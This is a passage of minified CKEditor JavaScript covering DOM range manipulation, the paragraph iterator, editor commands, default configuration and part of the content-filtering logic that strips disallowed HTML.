this.endOffset=b;if(!this.startContainer){this._setStartContainer(a);this.startOffset=b}c(this)},setStartAfter:function(a){this.setStart(a.getParent(),a.getIndex()+1)},setStartBefore:function(a){this.setStart(a.getParent(),a.getIndex())},setEndAfter:function(a){this.setEnd(a.getParent(),a.getIndex()+1)},setEndBefore:function(a){this.setEnd(a.getParent(),a.getIndex())},setStartAt:function(a,b){switch(b){case CKEDITOR.POSITION_AFTER_START:this.setStart(a,0);break;case CKEDITOR.POSITION_BEFORE_END:a.type==
CKEDITOR.NODE_TEXT?this.setStart(a,a.getLength()):this.setStart(a,a.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setStartBefore(a);break;case CKEDITOR.POSITION_AFTER_END:this.setStartAfter(a)}c(this)},setEndAt:function(a,b){switch(b){case CKEDITOR.POSITION_AFTER_START:this.setEnd(a,0);break;case CKEDITOR.POSITION_BEFORE_END:a.type==CKEDITOR.NODE_TEXT?this.setEnd(a,a.getLength()):this.setEnd(a,a.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setEndBefore(a);break;
case CKEDITOR.POSITION_AFTER_END:this.setEndAfter(a)}c(this)},fixBlock:function(a,b){var c=this.createBookmark(),d=this.document.createElement(b);this.collapse(a);this.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS);this.extractContents().appendTo(d);d.trim();d.appendBogus();this.insertNode(d);this.moveToBookmark(c);return d},splitBlock:function(a){var b=new CKEDITOR.dom.elementPath(this.startContainer,this.root),c=new CKEDITOR.dom.elementPath(this.endContainer,this.root),d=b.block,e=c.block,f=null;if(!b.blockLimit.equals(c.blockLimit))return null;
if(a!="br"){if(!d){d=this.fixBlock(true,a);e=(new CKEDITOR.dom.elementPath(this.endContainer,this.root)).block}e||(e=this.fixBlock(false,a))}a=d&&this.checkStartOfBlock();b=e&&this.checkEndOfBlock();this.deleteContents();if(d&&d.equals(e))if(b){f=new CKEDITOR.dom.elementPath(this.startContainer,this.root);this.moveToPosition(e,CKEDITOR.POSITION_AFTER_END);e=null}else if(a){f=new CKEDITOR.dom.elementPath(this.startContainer,this.root);this.moveToPosition(d,CKEDITOR.POSITION_BEFORE_START);d=null}else{e=
this.splitElement(d);d.is("ul","ol")||d.appendBogus()}return{previousBlock:d,nextBlock:e,wasStartOfBlock:a,wasEndOfBlock:b,elementPath:f}},splitElement:function(a){if(!this.collapsed)return null;this.setEndAt(a,CKEDITOR.POSITION_BEFORE_END);var b=this.extractContents(),c=a.clone(false);b.appendTo(c);c.insertAfter(a);this.moveToPosition(a,CKEDITOR.POSITION_AFTER_END);return c},removeEmptyBlocksAtEnd:function(){function a(d){return function(a){return b(a)||(c(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.isEmptyInlineRemoveable())||
d.is("table")&&a.is("caption")?false:true}}var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(false);return function(b){for(var c=this.createBookmark(),d=this[b?"endPath":"startPath"](),e=d.block||d.blockLimit,f;e&&!e.equals(d.root)&&!e.getFirst(a(e));){f=e.getParent();this[b?"setEndAt":"setStartAt"](e,CKEDITOR.POSITION_AFTER_END);e.remove(1);e=f}this.moveToBookmark(c)}}(),startPath:function(){return new CKEDITOR.dom.elementPath(this.startContainer,this.root)},endPath:function(){return new CKEDITOR.dom.elementPath(this.endContainer,
this.root)},checkBoundaryOfElement:function(a,b){var c=b==CKEDITOR.START,d=this.clone();d.collapse(c);d[c?"setStartAt":"setEndAt"](a,c?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END);d=new CKEDITOR.dom.walker(d);d.evaluator=f(c);return d[c?"checkBackward":"checkForward"]()},checkStartOfBlock:function(){var b=this.startContainer,c=this.startOffset;if(CKEDITOR.env.ie&&c&&b.type==CKEDITOR.NODE_TEXT){b=CKEDITOR.tools.ltrim(b.substring(0,c));k.test(b)&&this.trim(0,1)}this.trim();b=new CKEDITOR.dom.elementPath(this.startContainer,
this.root);c=this.clone();c.collapse(true);c.setStartAt(b.block||b.blockLimit,CKEDITOR.POSITION_AFTER_START);b=new CKEDITOR.dom.walker(c);b.evaluator=a();return b.checkBackward()},checkEndOfBlock:function(){var b=this.endContainer,c=this.endOffset;if(CKEDITOR.env.ie&&b.type==CKEDITOR.NODE_TEXT){b=CKEDITOR.tools.rtrim(b.substring(c));k.test(b)&&this.trim(1,0)}this.trim();b=new CKEDITOR.dom.elementPath(this.endContainer,this.root);c=this.clone();c.collapse(false);c.setEndAt(b.block||b.blockLimit,CKEDITOR.POSITION_BEFORE_END);
b=new CKEDITOR.dom.walker(c);b.evaluator=a();return b.checkForward()},getPreviousNode:function(a,b,c){var d=this.clone();d.collapse(1);d.setStartAt(c||this.root,CKEDITOR.POSITION_AFTER_START);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.previous()},getNextNode:function(a,b,c){var d=this.clone();d.collapse();d.setEndAt(c||this.root,CKEDITOR.POSITION_BEFORE_END);c=new CKEDITOR.dom.walker(d);c.evaluator=a;c.guard=b;return c.next()},checkReadOnly:function(){function a(b,c){for(;b;){if(b.type==
CKEDITOR.NODE_ELEMENT){if(b.getAttribute("contentEditable")=="false"&&!b.data("cke-editable"))return 0;if(b.is("html")||b.getAttribute("contentEditable")=="true"&&(b.contains(c)||b.equals(c)))break}b=b.getParent()}return 1}return function(){var b=this.startContainer,c=this.endContainer;return!(a(b,c)&&a(c,b))}}(),moveToElementEditablePosition:function(a,b){if(a.type==CKEDITOR.NODE_ELEMENT&&!a.isEditable(false)){this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);return true}for(var c=
0;a;){if(a.type==CKEDITOR.NODE_TEXT){b&&this.endContainer&&this.checkEndOfBlock()&&k.test(a.getText())?this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START):this.moveToPosition(a,b?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START);c=1;break}if(a.type==CKEDITOR.NODE_ELEMENT)if(a.isEditable()){this.moveToPosition(a,b?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_START);c=1}else if(b&&a.is("br")&&this.endContainer&&this.checkEndOfBlock())this.moveToPosition(a,CKEDITOR.POSITION_BEFORE_START);
else if(a.getAttribute("contenteditable")=="false"&&a.is(CKEDITOR.dtd.$block)){this.setStartBefore(a);this.setEndAfter(a);return true}var d=a,e=c,f=void 0;d.type==CKEDITOR.NODE_ELEMENT&&d.isEditable(false)&&(f=d[b?"getLast":"getFirst"](g));!e&&!f&&(f=d[b?"getPrevious":"getNext"](g));a=f}return!!c},moveToClosestEditablePosition:function(a,b){var c=new CKEDITOR.dom.range(this.root),d=0,e,f=[CKEDITOR.POSITION_AFTER_END,CKEDITOR.POSITION_BEFORE_START];c.moveToPosition(a,f[b?0:1]);if(a.is(CKEDITOR.dtd.$block)){if(e=
c[b?"getNextEditableNode":"getPreviousEditableNode"]()){d=1;if(e.type==CKEDITOR.NODE_ELEMENT&&e.is(CKEDITOR.dtd.$block)&&e.getAttribute("contenteditable")=="false"){c.setStartAt(e,CKEDITOR.POSITION_BEFORE_START);c.setEndAt(e,CKEDITOR.POSITION_AFTER_END)}else c.moveToPosition(e,f[b?1:0])}}else d=1;d&&this.moveToRange(c);return!!d},moveToElementEditStart:function(a){return this.moveToElementEditablePosition(a)},moveToElementEditEnd:function(a){return this.moveToElementEditablePosition(a,true)},getEnclosedNode:function(){var a=
this.clone();a.optimize();if(a.startContainer.type!=CKEDITOR.NODE_ELEMENT||a.endContainer.type!=CKEDITOR.NODE_ELEMENT)return null;var a=new CKEDITOR.dom.walker(a),b=CKEDITOR.dom.walker.bookmark(false,true),c=CKEDITOR.dom.walker.whitespaces(true);a.evaluator=function(a){return c(a)&&b(a)};var d=a.next();a.reset();return d&&d.equals(a.previous())?d:null},getTouchedStartNode:function(){var a=this.startContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.startOffset)||a},getTouchedEndNode:function(){var a=
this.endContainer;return this.collapsed||a.type!=CKEDITOR.NODE_ELEMENT?a:a.getChild(this.endOffset-1)||a},getNextEditableNode:b(),getPreviousEditableNode:b(1),scrollIntoView:function(){var a=new CKEDITOR.dom.element.createFromHtml("<span>&nbsp;</span>",this.document),b,c,d,e=this.clone();e.optimize();if(d=e.startContainer.type==CKEDITOR.NODE_TEXT){c=e.startContainer.getText();b=e.startContainer.split(e.startOffset);a.insertAfter(e.startContainer)}else e.insertNode(a);a.scrollIntoView();if(d){e.startContainer.setText(c);
b.remove()}a.remove()},_setStartContainer:function(a){this.startContainer=a},_setEndContainer:function(a){this.endContainer=a}}})();CKEDITOR.POSITION_AFTER_START=1;CKEDITOR.POSITION_BEFORE_END=2;CKEDITOR.POSITION_BEFORE_START=3;CKEDITOR.POSITION_AFTER_END=4;CKEDITOR.ENLARGE_ELEMENT=1;CKEDITOR.ENLARGE_BLOCK_CONTENTS=2;CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS=3;CKEDITOR.ENLARGE_INLINE=4;CKEDITOR.START=1;CKEDITOR.END=2;CKEDITOR.SHRINK_ELEMENT=1;CKEDITOR.SHRINK_TEXT=2;"use strict";
(function(){function a(a){if(!(arguments.length<1)){this.range=a;this.forceBrBreak=0;this.enlargeBr=1;this.enforceRealBlocks=0;this._||(this._={})}}function f(a){var b=[];a.forEach(function(a){if(a.getAttribute("contenteditable")=="true"){b.push(a);return false}},CKEDITOR.NODE_ELEMENT,true);return b}function b(a,c,d,e){a:{e==null&&(e=f(d));for(var h;h=e.shift();)if(h.getDtd().p){e={element:h,remaining:e};break a}e=null}if(!e)return 0;if((h=CKEDITOR.filter.instances[e.element.data("cke-filter")])&&
!h.check(c))return b(a,c,d,e.remaining);c=new CKEDITOR.dom.range(e.element);c.selectNodeContents(e.element);c=c.createIterator();c.enlargeBr=a.enlargeBr;c.enforceRealBlocks=a.enforceRealBlocks;c.activeFilter=c.filter=h;a._.nestedEditable={element:e.element,container:d,remaining:e.remaining,iterator:c};return 1}function c(a,b,c){if(!b)return false;a=a.clone();a.collapse(!c);return a.checkBoundaryOfElement(b,c?CKEDITOR.START:CKEDITOR.END)}var e=/^[\r\n\t ]+$/,d=CKEDITOR.dom.walker.bookmark(false,true),
h=CKEDITOR.dom.walker.whitespaces(true),k=function(a){return d(a)&&h(a)},j={dd:1,dt:1,li:1};a.prototype={getNextParagraph:function(a){var f,h,s,w,q,a=a||"p";if(this._.nestedEditable){if(f=this._.nestedEditable.iterator.getNextParagraph(a)){this.activeFilter=this._.nestedEditable.iterator.activeFilter;return f}this.activeFilter=this.filter;if(b(this,a,this._.nestedEditable.container,this._.nestedEditable.remaining)){this.activeFilter=this._.nestedEditable.iterator.activeFilter;return this._.nestedEditable.iterator.getNextParagraph(a)}this._.nestedEditable=
null}if(!this.range.root.getDtd()[a])return null;if(!this._.started){var t=this.range.clone();h=t.startPath();var i=t.endPath(),A=!t.collapsed&&c(t,h.block),u=!t.collapsed&&c(t,i.block,1);t.shrink(CKEDITOR.SHRINK_ELEMENT,true);A&&t.setStartAt(h.block,CKEDITOR.POSITION_BEFORE_END);u&&t.setEndAt(i.block,CKEDITOR.POSITION_AFTER_START);h=t.endContainer.hasAscendant("pre",true)||t.startContainer.hasAscendant("pre",true);t.enlarge(this.forceBrBreak&&!h||!this.enlargeBr?CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:
CKEDITOR.ENLARGE_BLOCK_CONTENTS);if(!t.collapsed){h=new CKEDITOR.dom.walker(t.clone());i=CKEDITOR.dom.walker.bookmark(true,true);h.evaluator=i;this._.nextNode=h.next();h=new CKEDITOR.dom.walker(t.clone());h.evaluator=i;h=h.previous();this._.lastNode=h.getNextSourceNode(true,null,t.root);if(this._.lastNode&&this._.lastNode.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(this._.lastNode.getText())&&this._.lastNode.getParent().isBlockBoundary()){i=this.range.clone();i.moveToPosition(this._.lastNode,CKEDITOR.POSITION_AFTER_END);
if(i.checkEndOfBlock()){i=new CKEDITOR.dom.elementPath(i.endContainer,i.root);this._.lastNode=(i.block||i.blockLimit).getNextSourceNode(true)}}if(!this._.lastNode||!t.root.contains(this._.lastNode)){this._.lastNode=this._.docEndMarker=t.document.createText("");this._.lastNode.insertAfter(h)}t=null}this._.started=1;h=t}i=this._.nextNode;t=this._.lastNode;for(this._.nextNode=null;i;){var A=0,u=i.hasAscendant("pre"),o=i.type!=CKEDITOR.NODE_ELEMENT,l=0;if(o)i.type==CKEDITOR.NODE_TEXT&&e.test(i.getText())&&
(o=0);else{var p=i.getName();if(CKEDITOR.dtd.$block[p]&&i.getAttribute("contenteditable")=="false"){f=i;b(this,a,f);break}else if(i.isBlockBoundary(this.forceBrBreak&&!u&&{br:1})){if(p=="br")o=1;else if(!h&&!i.getChildCount()&&p!="hr"){f=i;s=i.equals(t);break}if(h){h.setEndAt(i,CKEDITOR.POSITION_BEFORE_START);if(p!="br")this._.nextNode=i}A=1}else{if(i.getFirst()){if(!h){h=this.range.clone();h.setStartAt(i,CKEDITOR.POSITION_BEFORE_START)}i=i.getFirst();continue}o=1}}if(o&&!h){h=this.range.clone();
h.setStartAt(i,CKEDITOR.POSITION_BEFORE_START)}s=(!A||o)&&i.equals(t);if(h&&!A)for(;!i.getNext(k)&&!s;){p=i.getParent();if(p.isBlockBoundary(this.forceBrBreak&&!u&&{br:1})){A=1;o=0;s||p.equals(t);h.setEndAt(p,CKEDITOR.POSITION_BEFORE_END);break}i=p;o=1;s=i.equals(t);l=1}o&&h.setEndAt(i,CKEDITOR.POSITION_AFTER_END);i=this._getNextSourceNode(i,l,t);if((s=!i)||A&&h)break}if(!f){if(!h){this._.docEndMarker&&this._.docEndMarker.remove();return this._.nextNode=null}f=new CKEDITOR.dom.elementPath(h.startContainer,
h.root);i=f.blockLimit;A={div:1,th:1,td:1};f=f.block;if(!f&&i&&!this.enforceRealBlocks&&A[i.getName()]&&h.checkStartOfBlock()&&h.checkEndOfBlock()&&!i.equals(h.root))f=i;else if(!f||this.enforceRealBlocks&&f.is(j)){f=this.range.document.createElement(a);h.extractContents().appendTo(f);f.trim();h.insertNode(f);w=q=true}else if(f.getName()!="li"){if(!h.checkStartOfBlock()||!h.checkEndOfBlock()){f=f.clone(false);h.extractContents().appendTo(f);f.trim();q=h.splitBlock();w=!q.wasStartOfBlock;q=!q.wasEndOfBlock;
h.insertNode(f)}}else if(!s)this._.nextNode=f.equals(t)?null:this._getNextSourceNode(h.getBoundaryNodes().endNode,1,t)}if(w)(w=f.getPrevious())&&w.type==CKEDITOR.NODE_ELEMENT&&(w.getName()=="br"?w.remove():w.getLast()&&w.getLast().$.nodeName.toLowerCase()=="br"&&w.getLast().remove());if(q)(w=f.getLast())&&w.type==CKEDITOR.NODE_ELEMENT&&w.getName()=="br"&&(!CKEDITOR.env.needsBrFiller||w.getPrevious(d)||w.getNext(d))&&w.remove();if(!this._.nextNode)this._.nextNode=s||f.equals(t)||!t?null:this._getNextSourceNode(f,
1,t);return f},_getNextSourceNode:function(a,b,c){function e(a){return!(a.equals(c)||a.equals(f))}for(var f=this.range.root,a=a.getNextSourceNode(b,null,e);!d(a);)a=a.getNextSourceNode(b,null,e);return a}};CKEDITOR.dom.range.prototype.createIterator=function(){return new a(this)}})();
CKEDITOR.command=function(a,f){this.uiItems=[];this.exec=function(b){if(this.state==CKEDITOR.TRISTATE_DISABLED||!this.checkAllowed())return false;this.editorFocus&&a.focus();return this.fire("exec")===false?true:f.exec.call(this,a,b)!==false};this.refresh=function(a,b){if(!this.readOnly&&a.readOnly)return true;if(this.context&&!b.isContextFor(this.context)){this.disable();return true}if(!this.checkAllowed(true)){this.disable();return true}this.startDisabled||this.enable();this.modes&&!this.modes[a.mode]&&
this.disable();return this.fire("refresh",{editor:a,path:b})===false?true:f.refresh&&f.refresh.apply(this,arguments)!==false};var b;this.checkAllowed=function(c){return!c&&typeof b=="boolean"?b:b=a.activeFilter.checkFeature(this)};CKEDITOR.tools.extend(this,f,{modes:{wysiwyg:1},editorFocus:1,contextSensitive:!!f.context,state:CKEDITOR.TRISTATE_DISABLED});CKEDITOR.event.call(this)};
CKEDITOR.command.prototype={enable:function(){this.state==CKEDITOR.TRISTATE_DISABLED&&this.checkAllowed()&&this.setState(!this.preserveState||typeof this.previousState=="undefined"?CKEDITOR.TRISTATE_OFF:this.previousState)},disable:function(){this.setState(CKEDITOR.TRISTATE_DISABLED)},setState:function(a){if(this.state==a||a!=CKEDITOR.TRISTATE_DISABLED&&!this.checkAllowed())return false;this.previousState=this.state;this.state=a;this.fire("state");return true},toggleState:function(){this.state==CKEDITOR.TRISTATE_OFF?
this.setState(CKEDITOR.TRISTATE_ON):this.state==CKEDITOR.TRISTATE_ON&&this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.event.implementOn(CKEDITOR.command.prototype);CKEDITOR.ENTER_P=1;CKEDITOR.ENTER_BR=2;CKEDITOR.ENTER_DIV=3;
CKEDITOR.config={customConfig:"config.js",autoUpdateElement:!0,language:"",defaultLanguage:"en",contentsLangDirection:"",enterMode:CKEDITOR.ENTER_P,forceEnterMode:!1,shiftEnterMode:CKEDITOR.ENTER_BR,docType:"<!DOCTYPE html>",bodyId:"",bodyClass:"",fullPage:!1,height:200,extraPlugins:"",removePlugins:"",protectedSource:[],tabIndex:0,width:"",baseFloatZIndex:1E4,blockedKeystrokes:[CKEDITOR.CTRL+66,CKEDITOR.CTRL+73,CKEDITOR.CTRL+85]};
(function(){function a(a,b,c,d,e){var f,p,a=[];for(f in b){p=b[f];p=typeof p=="boolean"?{}:typeof p=="function"?{match:p}:K(p);if(f.charAt(0)!="$")p.elements=f;if(c)p.featureName=c.toLowerCase();var i=p;i.elements=h(i.elements,/\s+/)||null;i.propertiesOnly=i.propertiesOnly||i.elements===true;var l=/\s*,\s*/,r=void 0;for(r in z){i[r]=h(i[r],l)||null;var x=i,n=B[r],v=h(i[B[r]],l),q=i[r],E=[],g=true,o=void 0;v?g=false:v={};for(o in q)if(o.charAt(0)=="!"){o=o.slice(1);E.push(o);v[o]=true;g=false}for(;o=
E.pop();){q[o]=q["!"+o];delete q["!"+o]}x[n]=(g?false:v)||null}i.match=i.match||null;d.push(p);a.push(p)}for(var b=e.elements,e=e.generic,C,c=0,d=a.length;c<d;++c){f=K(a[c]);p=f.classes===true||f.styles===true||f.attributes===true;i=f;r=n=l=void 0;for(l in z)i[l]=A(i[l]);x=true;for(r in B){l=B[r];n=i[l];v=[];q=void 0;for(q in n)q.indexOf("*")>-1?v.push(RegExp("^"+q.replace(/\*/g,".*")+"$")):v.push(q);n=v;if(n.length){i[l]=n;x=false}}i.nothingRequired=x;i.noProperties=!(i.attributes||i.classes||i.styles);
if(f.elements===true||f.elements===null)e[p?"unshift":"push"](f);else{i=f.elements;delete f.elements;for(C in i)if(b[C])b[C][p?"unshift":"push"](f);else b[C]=[f]}}}function f(a,c,d,e){if(!a.match||a.match(c))if(e||k(a,c)){if(!a.propertiesOnly)d.valid=true;if(!d.allAttributes)d.allAttributes=b(a.attributes,c.attributes,d.validAttributes);if(!d.allStyles)d.allStyles=b(a.styles,c.styles,d.validStyles);if(!d.allClasses){a=a.classes;c=c.classes;e=d.validClasses;if(a)if(a===true)a=true;else{for(var f=0,
p=c.length,i;f<p;++f){i=c[f];e[i]||(e[i]=a(i))}a=false}else a=false;d.allClasses=a}}}function b(a,b,c){if(!a)return false;if(a===true)return true;for(var d in b)c[d]||(c[d]=a(d));return false}function c(a,b,c){if(!a.match||a.match(b)){if(a.noProperties)return false;c.hadInvalidAttribute=e(a.attributes,b.attributes)||c.hadInvalidAttribute;c.hadInvalidStyle=e(a.styles,b.styles)||c.hadInvalidStyle;a=a.classes;b=b.classes;if(a){for(var d=false,f=a===true,p=b.length;p--;)if(f||a(b[p])){b.splice(p,1);d=
true}a=d}else a=false;c.hadInvalidClass=a||c.hadInvalidClass}}function e(a,b){if(!a)return false;var c=false,d=a===true,e;for(e in b)if(d||a(e)){delete b[e];c=true}return c}function d(a,b,c){if(a.disabled||a.customConfig&&!c||!b)return false;a._.cachedChecks={};return true}function h(a,b){if(!a)return false;if(a===true)return a;if(typeof a=="string"){a=I(a);return a=="*"?true:CKEDITOR.tools.convertArrayToObject(a.split(b))}if(CKEDITOR.tools.isArray(a))return a.length?CKEDITOR.tools.convertArrayToObject(a):
false;var c={},d=0,e;for(e in a){c[e]=a[e];d++}return d?c:false}function k(a,b){if(a.nothingRequired)return true;var c,d,e,f;if(e=a.requiredClasses){f=b.classes;for(c=0;c<e.length;++c){d=e[c];if(typeof d=="string"){if(CKEDITOR.tools.indexOf(f,d)==-1)return false}else if(!CKEDITOR.tools.checkIfAnyArrayItemMatches(f,d))return false}}return j(b.styles,a.requiredStyles)&&j(b.attributes,a.requiredAttributes)}function j(a,b){if(!b)return true;for(var c=0,d;c<b.length;++c){d=b[c];if(typeof d=="string"){if(!(d in
a))return false}else if(!CKEDITOR.tools.checkIfAnyObjectPropertyMatches(a,d))return false}return true}function g(a){if(!a)return{};for(var a=a.split(/\s*,\s*/).sort(),b={};a.length;)b[a.shift()]=v;return b}function m(a){for(var b,c,d,e,f={},p=1,a=I(a);b=a.match(x);){if(c=b[2]){d=y(c,"styles");e=y(c,"attrs");c=y(c,"classes")}else d=e=c=null;f["$"+p++]={elements:b[1],classes:c,styles:d,attributes:e};a=a.slice(b[0].length)}return f}function y(a,b){var c=a.match(E[b]);return c?I(c[1]):null}function s(a){var b=
a.styleBackup=a.attributes.style,c=a.classBackup=a.attributes["class"];if(!a.styles)a.styles=CKEDITOR.tools.parseCssText(b||"",1);if(!a.classes)a.classes=c?c.split(/\s+/):[]}function w(a,b,d,e){var l=0,r;if(e.toHtml)b.name=b.name.replace($,"$1");if(e.doCallbacks&&a.elementCallbacks){a:for(var x=a.elementCallbacks,h=0,n=x.length,v;h<n;++h)if(v=x[h](b)){r=v;break a}if(r)return r}if(e.doTransform)if(r=a._.transformations[b.name]){s(b);for(x=0;x<r.length;++x)p(a,b,r[x]);t(b)}if(e.doFilter){a:{x=b.name;
h=a._;a=h.allowedRules.elements[x];r=h.allowedRules.generic;x=h.disallowedRules.elements[x];h=h.disallowedRules.generic;n=e.skipRequired;v={valid:false,validAttributes:{},validClasses:{},validStyles:{},allAttributes:false,allClasses:false,allStyles:false,hadInvalidAttribute:false,hadInvalidClass:false,hadInvalidStyle:false};var q,z;if(!a&&!r)a=null;else{s(b);if(x){q=0;for(z=x.length;q<z;++q)if(c(x[q],b,v)===false){a=null;break a}}if(h){q=0;for(z=h.length;q<z;++q)c(h[q],b,v)}if(a){q=0;for(z=a.length;q<
z;++q)f(a[q],b,v,n)}if(r){q=0;for(z=r.length;q<z;++q)f(r[q],b,v,n)}a=v}}if(!a){d.push(b);return F}if(!a.valid){d.push(b);return F}z=a.validAttributes;var E=a.validStyles;r=a.validClasses;var x=b.attributes,A=b.styles,h=b.classes,n=b.classBackup,o=b.styleBackup,g,B,C=[];v=[];var j=/^data-cke-/;q=false;delete x.style;delete x["class"];delete b.classBackup;delete b.styleBackup;if(!a.allAttributes)for(g in x)if(!z[g])if(j.test(g)){if(g!=(B=g.replace(/^data-cke-saved-/,""))&&!z[B]){delete x[g];q=true}}else{delete x[g];
q=true}if(!a.allStyles||a.hadInvalidStyle){for(g in A)a.allStyles||E[g]?C.push(g+":"+A[g]):q=true;if(C.length)x.style=C.sort().join("; ")}else if(o)x.style=o;if(!a.allClasses||a.hadInvalidClass){for(g=0;g<h.length;++g)(a.allClasses||r[h[g]])&&v.push(h[g]);v.length&&(x["class"]=v.sort().join(" "));n&&v.length<n.split(/\s+/).length&&(q=true)}else n&&(x["class"]=n);q&&(l=F);if(!e.skipFinalValidation&&!i(b)){d.push(b);return F}}if(e.toHtml)b.name=b.name.replace(aa,"cke:$1");return l}function q(a){var b=
[],c;for(c in a)c.indexOf("*")>-1&&b.push(c.replace(/\*/g,".*"));return b.length?RegExp("^(?:"+b.join("|")+")$"):null}function t(a){var b=a.attributes,c;delete b.style;delete b["class"];if(c=CKEDITOR.tools.writeCssText(a.styles,true))b.style=c;a.classes.length&&(b["class"]=a.classes.sort().join(" "))}function i(a){switch(a.name){case "a":if(!a.children.length&&!a.attributes.name)return false;break;case "img":if(!a.attributes.src)return false}return true}function A(a){if(!a)return false;if(a===true)return true;
var b=q(a);return function(c){return c in a||b&&c.match(b)}}function u(){return new CKEDITOR.htmlParser.element("br")}function o(a){return a.type==CKEDITOR.NODE_ELEMENT&&(a.name=="br"||L.$block[a.name])}function l(a,b,c){var d=a.name;if(L.$empty[d]||!a.children.length)if(d=="hr"&&b=="br")a.replaceWith(u());else{a.parent&&c.push({check:"it",el:a.parent});a.remove()}else if(L.$block[d]||d=="tr")if(b=="br"){if(a.previous&&!o(a.previous)){b=u();b.insertBefore(a)}if(a.next&&!o(a.next)){b=u();b.insertAfter(a)}a.replaceWithChildren()}else{var d=
a.children,e;b:{e=L[b];for(var f=0,p=d.length,i;f<p;++f){i=d[f];if(i.type==CKEDITOR.NODE_ELEMENT&&!e[i.name]){e=false;break b}}e=true}if(e){a.name=b;a.attributes={};c.push({check:"parent-down",el:a})}else{e=a.parent;for(var f=e.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||e.name=="body",l,r,p=d.length;p>0;){i=d[--p];if(f&&(i.type==CKEDITOR.NODE_TEXT||i.type==CKEDITOR.NODE_ELEMENT&&L.$inline[i.name])){if(!l){l=new CKEDITOR.htmlParser.element(b);l.insertAfter(a);c.push({check:"parent-down",el:l})}l.add(i,
0)}else{l=null;r=L[e.name]||L.span;i.insertAfter(a);e.type!=CKEDITOR.NODE_DOCUMENT_FRAGMENT&&(i.type==CKEDITOR.NODE_ELEMENT&&!r[i.name])&&c.push({check:"el-up",el:i})}}a.remove()}}else if(d=="style")a.remove();else{a.parent&&c.push({check:"it",el:a.parent});a.replaceWithChildren()}}function p(a,b,c){var d,e;for(d=0;d<c.length;++d){e=c[d];if((!e.check||a.check(e.check,false))&&(!e.left||e.left(b))){e.right(b,ba);break}}}function r(a,b){var c=b.getDefinition(),d=c.attributes,e=c.styles,f,p,i,l;if(a.name!=
c.element)return false;for(f in d)if(f=="class"){c=d[f].split(/\s+/);for(i=a.classes.join("|");l=c.pop();)if(i.indexOf(l)==-1)return false}else if(a.attributes[f]!=d[f])return false;for(p in e)if(a.styles[p]!=e[p])return false;return true}function n(a,b){var c,d;if(typeof a=="string")c=a;else if(a instanceof CKEDITOR.style)d=a;else{c=a[0];d=a[1]}return[{element:c,left:d,right:function(a,c){c.transform(a,b)}}]}function P(a){return function(b){return r(b,a)}}function C(a){return function(b,c){c[a](b)}}
var L=CKEDITOR.dtd,F=1,K=CKEDITOR.tools.copy,I=CKEDITOR.tools.trim,v="cke-test",G=["","p","br","div"];CKEDITOR.FILTER_SKIP_TREE=2;CKEDITOR.filter=function(a){this.allowedContent=[];this.disallowedContent=[];this.elementCallbacks=null;this.disabled=false;this.editor=null;this.id=CKEDITOR.tools.getNextNumber();this._={allowedRules:{elements:{},generic:[]},disallowedRules:{elements:{},generic:[]},transformations:{},cachedTests:{}};CKEDITOR.filter.instances[this.id]=this;if(a instanceof CKEDITOR.editor){a=
this.editor=a;this.customConfig=true;var b=a.config.allowedContent;if(b===true)this.disabled=true;else{if(!b)this.customConfig=false;this.allow(b,"config",1);this.allow(a.config.extraAllowedContent,"extra",1);this.allow(G[a.enterMode]+" "+G[a.shiftEnterMode],"default",1);this.disallow(a.config.disallowedContent)}}else{this.customConfig=false;this.allow(a,"default",1)}};CKEDITOR.filter.instances={};CKEDITOR.filter.prototype={allow:function(b,c,e){if(!d(this,b,e))return false;var f,p;if(typeof b=="string")b=
m(b);else if(b instanceof CKEDITOR.style){if(b.toAllowedContentRules)return this.allow(b.toAllowedContentRules(this.editor),c,e);f=b.getDefinition();b={};e=f.attributes;b[f.element]=f={styles:f.styles,requiredStyles:f.styles&&CKEDITOR.tools.objectKeys(f.styles)};if(e){e=K(e);f.classes=e["class"]?e["class"].split(/\s+/):null;f.requiredClasses=f.classes;delete e["class"];f.attributes=e;f.requiredAttributes=e&&CKEDITOR.tools.objectKeys(e)}}else if(CKEDITOR.tools.isArray(b)){for(f=0;f<b.length;++f)p=
this.allow(b[f],c,e);return p}a(this,b,c,this.allowedContent,this._.allowedRules);return true},applyTo:function(a,b,c,d){if(this.disabled)return false;var e=this,f=[],p=this.editor&&this.editor.config.protectedSource,r,x=false,h={doFilter:!c,doTransform:true,doCallbacks:true,toHtml:b};a.forEach(function(a){if(a.type==CKEDITOR.NODE_ELEMENT){if(a.attributes["data-cke-filter"]=="off")return false;if(!b||!(a.name=="span"&&~CKEDITOR.tools.objectKeys(a.attributes).join("|").indexOf("data-cke-"))){r=w(e,
a,f,h);if(r&F)x=true;else if(r&2)return false}}else if(a.type==CKEDITOR.NODE_COMMENT&&a.value.match(/^\{cke_protected\}(?!\{C\})/)){var c;a:{var d=decodeURIComponent(a.value.replace(/^\{cke_protected\}/,""));c=[];var i,l,n;if(p)for(l=0;l<p.length;++l)if((n=d.match(p[l]))&&n[0].length==d.length){c=true;break a}d=CKEDITOR.htmlParser.fragment.fromHtml(d);d.children.length==1&&(i=d.children[0]).type==CKEDITOR.NODE_ELEMENT&&w(e,i,c,h);c=!c.length}c||f.push(a)}},null,true);f.length&&(x=true);for(var n,
